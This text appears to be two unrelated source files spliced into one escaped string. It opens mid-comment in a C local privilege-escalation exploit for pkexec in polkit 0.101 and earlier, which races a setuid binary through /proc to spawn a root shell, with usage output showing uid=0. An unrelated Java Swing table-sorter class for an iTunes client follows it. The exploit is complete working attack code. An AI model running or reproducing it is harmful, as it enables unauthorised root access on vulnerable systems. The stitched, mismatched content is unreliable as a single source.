moment\n * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,\n * and execl to the suid binary as our very next instruction.\n *\n * ** Usage **\n * $ pkexec --version\n * pkexec version 0.101\n * $ gcc polkit-pwnage.c -o pwnit\n * $ ./pwnit \n * [+] Configuring inotify for proper pid.\n * [+] Launching pkexec.\n * sh-4.2# whoami\n * root\n * sh-4.2# id\n * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)\n * sh-4.2#\n *\n * ** Targets **\n * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which\n * as of writing uses 0.101, has backported 0.102's bug fix. A way to check\n * this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or\n * later and you're out of luck. It's likely other distributions do the same.\n * Fortunately, this exploit is clean enough that you can try it out without\n * too much collateral.\n *\n *\n * greets to djrbliss and davidz25.\n *\n * - zx2c4\n * 2-sept-2011\n *\n */\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <sys/inotify.h>\n\nint main(int argc, char **argv)\n{\n\tprintf(\"=============================\\n\");\n\tprintf(\"=      PolicyKit Pwnage     =\\n\");\n\tprintf(\"=          by zx2c4         =\\n\");\n\tprintf(\"=        Sept 2, 2011       =\\n\");\n\tprintf(\"=============================\\n\\n\");\n\n\tif (fork()) {\n\t\tint fd;\n\t\tchar pid_path[1024];\n\t\tsprintf(pid_path, \"/proc/%i\", getpid());\n\t\tprintf(\"[+] Configuring inotify for proper pid.\\n\");\n\t\tclose(0); close(1); close(2);\n\t\tfd = inotify_init();\n\t\tif (fd < 0)\n\t\t\tperror(\"[-] inotify_init\");\n\t\tinotify_add_watch(fd, pid_path, IN_ACCESS);\n\t\tread(fd, NULL, 0);\n\t\texecl(\"/usr/bin/chsh\", \"chsh\", NULL);\n\t} else {\n\t\tsleep(1);\n\t\tprintf(\"[+] Launching pkexec.\\n\");\n\t\texecl(\"/usr/bin/pkexec\", \"pkexec\", \"/bin/sh\", NULL);\n\t}\n\treturn 0;\n}\n\npackage itunes.client.swing;\n\n/**\n * A sorter for TableModels. The sorter has a model (conforming to TableModel) \n * and itself implements TableModel. TableSorter does not store or copy \n * the data in the TableModel, instead it maintains an array of \n * integers which it keeps the same size as the number of rows in its \n * model. When the model changes it notifies the sorter that something \n * has changed eg. \"rowsAdded\" so that its internal array of integers \n * can be reallocated. As requests are made of the sorter (like \n * getValueAt(row, col) it redirects them to its model via the mapping \n * array. That way the TableSorter appears to hold another copy of the table \n * with the rows in a different order. The sorting algorthm used is stable \n * which means that it does not move around rows when its comparison \n * function returns 0 to denote that they are equivalent. \n *\n * @version 1.5 12/17/97\n * @author Philip Milne\n */\n\nimport java.util.*;\n\nimport javax.swing.table.TableModel;\nimport javax.swing.event.TableModelEvent;\n\n// Imports for picking up mouse events from the JTable. \n\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.awt.event.InputEvent;\nimport javax.swing.JTable;\nimport javax.swing.JTextField;\nimport javax.swing.table.JTableHeader;\nimport javax.swing.table.TableColumnModel;\n\npublic class TableSorter extends TableMap {\n    int             indexes[];\n    \n\tprotected int numElements;\n    \n\t int fullIndex[];\n    Vector          sortingColumns = new Vector();\n    boolean         ascending = true;\n    int compares;\n\tprotected int currColumn;\n\tprotected boolean currAscending;\n\tprotected String filter;\n\t\n    public TableSorter() {\n\t    \n        indexes = new int[0]; // for consistency\n        currColumn = -1;\n        currAscending = true;\n\tcheckModel();\n    }\n\n    public TableSorter(TableModel model) {\n        setModel(model);\n\t\tcurrColumn = -1;\n\t\tcurrAscending = true;\n    }\n\n   public void setModel(TableModel model) {\n        super.setModel(model); \n       \tfilter = \"\";\n        reallocateIndexes(); \n        loadFullIndex();\n    }\n    public void reFilter(JTextField field) {\n\tfilter = field.getText().toLowerCase();\n\tdecideFiltering();\n\tsuper.tableChanged(new TableModelEvent(this));\n    }\n    protected void decideFiltering()\n    {\n\t\tif (filter.equals(\"\"))\n\t\t\tloadFullIndex();\n\t\telse\n\t\t\tfindFilter();\n    }\n        protected boolean presentInRow(String[] tokens, int row)\n    {\n\t\tString artist = getArtistAt(row).toLowerCase();\n\t\tString album = getAlbumAt(row).toLowerCase();\n\t\tString song = getSongAt(row).toLowerCase();\n\t\tfor (int i = 0; i < tokens.length; i++){\n\t\t\tif (artist.indexOf(tokens[i])==-1 && album.indexOf(tokens[i])==-1 && song.indexOf(tokens[i])==-1){\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n    }\n    public int getFullIndexRow(int filteredRow)\n    {\n\t    if(filteredRow < 0 || filteredRow >= numElements)\n\t    {\n\t\t    return -1;\n\t    }\n\t    return indexes[filteredRow];\n    }\n    public int getFilteredIndexRow(int fullRow)\n    {\n\t    for(int i = 0; i < numElements; i++)\n\t    {\n\t\t    if(indexes[i] == fullRow)\n\t\t    {\n\t\t\t    return i;\n\t\t    }\n\t    }\n\t    return -1;\n    }\n    public String getArtistAt(int row) {\n\t\tcheckModel();\n\t\treturn ((SongTableModel)model).getArtistAt(indexes[row]);\n\t}\n\n\tpublic String getAlbumAt(int row) {\n\t\tcheckModel();\n\t\treturn ((SongTableModel)model).getAlbumAt(indexes[row]);\n\t}\n\n\tpublic String getSongAt(int row) {\n\t\tcheckModel();\n\t\treturn ((SongTableModel)model).getSongNameAt(indexes[row]);\n\t}\n        protected void findFilter()\n    \t{\n    \t\tindexes = fullIndex;\n\t\tint temp[] = new int[indexes.length];\n\t\tint j = 0;\n\n\t\tString[] tokens = filter.split(\" +\");\n\t\tfor (int i = 0; i < indexes.length; i++){ \n\t\t\t\tif (presentInRow(tokens, i)){\n\t\t\t\t\ttemp[j] = indexes[i];\n\t\t\t\t\t++j;\n\t\t\t\t}\n\t\t}\n\t\tindexes = temp;\n\t\tnumElements = j;\n    }\n    public void loadFullIndex()\n    {\n    \tindexes = fullIndex;\n    \tnumElements = indexes.length;\n    }\n    public int compareRowsByColumn(int row1, int row2, int column) {\n        Class type = model.getColumnClass(column);\n        TableModel data = model;\n\n        // Check for nulls.\n\n        Object o1 = data.getValueAt(row1, column);\n        Object o2 = data.getValueAt(row2, column); \n\n        // If both values are null, return 0.\n        if (o1 == null && o2 == null) {\n            return 0; \n        } else if (o1 == null) { // Define null less than everything. \n            return -1; \n        } else if (o2 == null) { \n            return 1; \n        }\n\n        /*\n         * We copy all returned values from the getValue call in case\n         * an optimised model is reusing one object to return many\n         * values.  The Number subclasses in the JDK are immutable and\n         * so will not be used in this way but other subclasses of\n         * Number might want to do this to save space and avoid\n         * unnecessary heap allocation.\n         */\n\n        if (type.getSuperclass() == java.lang.Number.class) {\n            Number n1 = (Number)data.getValueAt(row1, column);\n            double d1 = n1.doubleValue();\n            Number n2 = (Number)data.getValueAt(row2, column);\n            double d2 = n2.doubleValue();\n\n            if (d1 < d2) {\n                return -1;\n            } else if (d1 > d2) {\n                return 1;\n            } else {\n                return 0;\n            }\n        } else if (type == java.util.Date.class) {\n            Date d1 = (Date)data.getValueAt(row1, column);\n            long n1 = d1.getTime();\n            Date d2 = (Date)data.getValueAt(row2, column);\n            long n2 = d2.getTime();\n\n            if (n1 < n2) {\n                return -1;\n            } else if (n1 > n2) {\n                return 1;\n            } else {\n                return 0;\n            }\n        } else if (type == String.class) {\n            String s1 = (String)data.getValueAt(row1, column);\n            String s2    = (String)data.getValueAt(row2, column);\n            int result = s1.compareTo(s2);\n            if (column == 4) { //rating\n            \tif (s1.length() > s2.length()) {\n            \t\treturn 1;\n            \t} else if (s1.length() < s2.length()) {\n            \t\treturn -1;\n            \t} else {\n            \t\treturn 0;\n            \t}\n            }\n            \n            if (s1.matches(\" *\") && !s2.matches(\" *\")) {\n\t\t\t\treturn 1;\n\t\t\t} else if (s2.matches(\" *\") && !s1.matches(\" *\")) {\n\t\t\t\treturn -1;\n\t\t\t}\n            if (result < 0) {\n                return -1;\n            } else if (result > 0) {\n                return 1;\n            } else {\n                return 0;\n            }\n        } else if (type == Boolean.class) {\n            Boolean bool1 = (Boolean)data.getValueAt(row1, column);\n            boolean b1 = bool1.booleanValue();\n            Boolean bool2 = (Boolean)data.getValueAt(row2, column);\n            boolean b2 = bool2.booleanValue();\n\n            if (b1 == b2) {\n                return 0;\n            } else if (b1) { // Define false < true\n                return 1;\n            } else {\n                return -1;\n            }\n        } else {\n            Object v1 = data.getValueAt(row1, column);\n            String s1 = v1.toString();\n            Object v2 = data.getValueAt(row2, column);\n            String s2 = v2.toString();\n            int result = s1.compareTo(s2);\n\n            if (result < 0) {\n                return -1;\n            } else if (result > 0) {\n                return 1;\n            } else {\n        \treturn 0;\n            }\n        }\n    }\n\n    public int compare(int row1, int row2) {\n        compares++;\n        for (int level = 0; level < sortingColumns.size(); level++) {\n            Integer column = (Integer)sortingColumns.elementAt(level);\n            int result = compareRowsByColumn(row1, row2, column.intValue());\n            if (result != 0) {\n                return ascending ? result : -result;\n            }\n        }\n        return 0;\n    }\npublic int getRowCount()\n    {\n    \treturn numElements;\n    }\n    public void reallocateIndexes() {\n    \t\n        numElements = model.getRowCount();\n\n        // Set up a new array of indexes with the right number of elements\n        // for the new data model.\n        fullIndex = new int[numElements];\n\n        // Initialise with the identity mapping.\n        for (int row = 0; row < numElements; row++) {\n\t\t\tfullIndex[row] = row;\n        }\n        \n    }\n\n    public void tableChanged(TableModelEvent e) {\n        //System.out.println(\"Sorter: tableChanged\"); \n       reallocateIndexes();\n        decideFiltering();\n        super.tableChanged(e);\n    }\n\n    public void checkModel() {\n        if (indexes.length != model.getRowCount()) {\n            System.out.println(\"Sorter not informed of a change in model.\");\n        }\n    }\n\n    public void sort(Object sender) {\n        checkModel();\n\n        compares = 0;\n        // n2sort();\n        // qsort(0, indexes.length-1);\n        shuttlesort((int[])indexes.clone(), indexes, 0, numElements);\n        //System.out.println(\"Compares: \"+compares);\n    }\n\n    public void n2sort() {\n        for (int i = 0; i < getRowCount(); i++) {\n            for (int j = i+1; j < getRowCount(); j++) {\n                if (compare(indexes[i], indexes[j]) == -1) {\n                    swap(i, j);\n                }\n            }\n        }\n    }\n\n    // This is a home-grown implementation which we have not had time\n    // to research - it may perform poorly in some circumstances. It\n    // requires twice the space of an in-place algorithm and makes\n    // NlogN assigments shuttling the values between the two\n    // arrays. The number of compares appears to vary between N-1 and\n    // NlogN depending on the initial order but the main reason for\n    // using it here is that, unlike qsort, it is stable.\n    public void shuttlesort(int from[], int to[], int low, int high) {\n        if (high - low < 2) {\n            return;\n        }\n        int middle = (low + high)/2;\n        shuttlesort(to, from, low, middle);\n        shuttlesort(to, from, middle, high);\n\n        int p = low;\n        int q = middle;\n\n        /* This is an optional short-cut; at each recursive call,\n        check to see if the elements in this subset are already\n        ordered.  If so, no further comparisons are needed; the\n        sub-array can just be copied.  The array must be copied rather\n        than assigned otherwise sister calls in the recursion might\n        get out of sinc.  When the number of elements is three they\n        are partitioned so that the first set, [low, mid), has one\n        element and and the second, [mid, high), has two. We skip the\n        optimisation when the number of elements is three or less as\n        the first compare in the normal merge will produce the same\n        sequence of steps. This optimisation seems to be worthwhile\n        for partially ordered lists but some analysis is needed to\n        find out how the performance drops to Nlog(N) as the initial\n        order diminishes - it may drop very quickly.  */\n\n        if (high - low >= 4 && compare(from[middle-1], from[middle]) <= 0) {\n            for (int i = low; i < high; i++) {\n                to[i] = from[i];\n            }\n            return;\n        }\n\n        // A normal merge. \n\n        for (int i = low; i < high; i++) {\n            if (q >= high || (p < middle && compare(from[p], from[q]) <= 0)) {\n                to[i] = from[p++];\n            }\n            else {\n                to[i] = from[q++];\n            }\n        }\n    }\n\n    public void swap(int i, int j) {\n        int tmp = indexes[i];\n        indexes[i] = indexes[j];\n        indexes[j] = tmp;\n    }\n\n    // The mapping only affects the contents of the data rows.\n    // Pass all requests to these rows through the mapping array: \"indexes\".\n\n     public Object getValueAt(int aRow, int aColumn) {\n        checkModel();\n        return model.getValueAt(indexes[aRow], aColumn);\n    }\n\n    public void setValueAt(Object aValue, int aRow, int aColumn) {\n        checkModel();\n        model.setValueAt(aValue, indexes[aRow], aColumn);\n    }\n\n    public void sortByColumn(int column) {\n        sortByColumn(column, true);\n    }\n\n    public void sortByColumn(int column, boolean ascending) {\n        this.ascending = ascending;\n        sortingColumns.removeAllElements();\n        sortingColumns.addElement(new Integer(column));\n        sort(this);super.tableChanged(new TableModelEvent(this, 0, numElements - 1, TableModelEvent.ALL_COLUMNS, \n        \tTableModelEvent.UPDATE)); \n    }\n\n    // There is no-where else to put this. \n    // Add a mouse listener to the Table to trigger a table sort \n    // when a column heading is clicked in the JTable. \n    public void addMouseListenerToHeaderInTable(JTable table) { \n        final TableSorter sorter = this; \n        final JTable tableView = table; \n        tableView.setColumnSelectionAllowed(false); \n        MouseAdapter listMouseListener = new MouseAdapter() {\n            public void mouseClicked(MouseEvent e) {\n                TableColumnModel columnModel = tableView.getColumnModel();\n                int viewColumn = columnModel.getColumnIndexAtX(e.getX()); \n                int column = tableView.convertColumnIndexToModel(viewColumn); \n                if (e.getClickCount() == 1 && column != -1) {\n                    //System.out.println(\"Sorting ...\"); \n                 //   int shiftPressed = e.getModifiers()&InputEvent.SHIFT_MASK; \n                    //boolean ascending = (shiftPressed == 0);\n                    if (column == sorter.currColumn) {\n                    \tsorter.currAscending = !sorter.currAscending;\n                    } else {\n                    \tsorter.currAscending = true;\n                    }\n                    sorter.currColumn = column;\n                    sorter.sortByColumn(column, sorter.currAscending); \n                }\n            }\n        };\n        JTableHeader th = tableView.getTableHeader(); \n        th.addMouseListener(listMouseListener); \n    }\n}\n\n\n"}
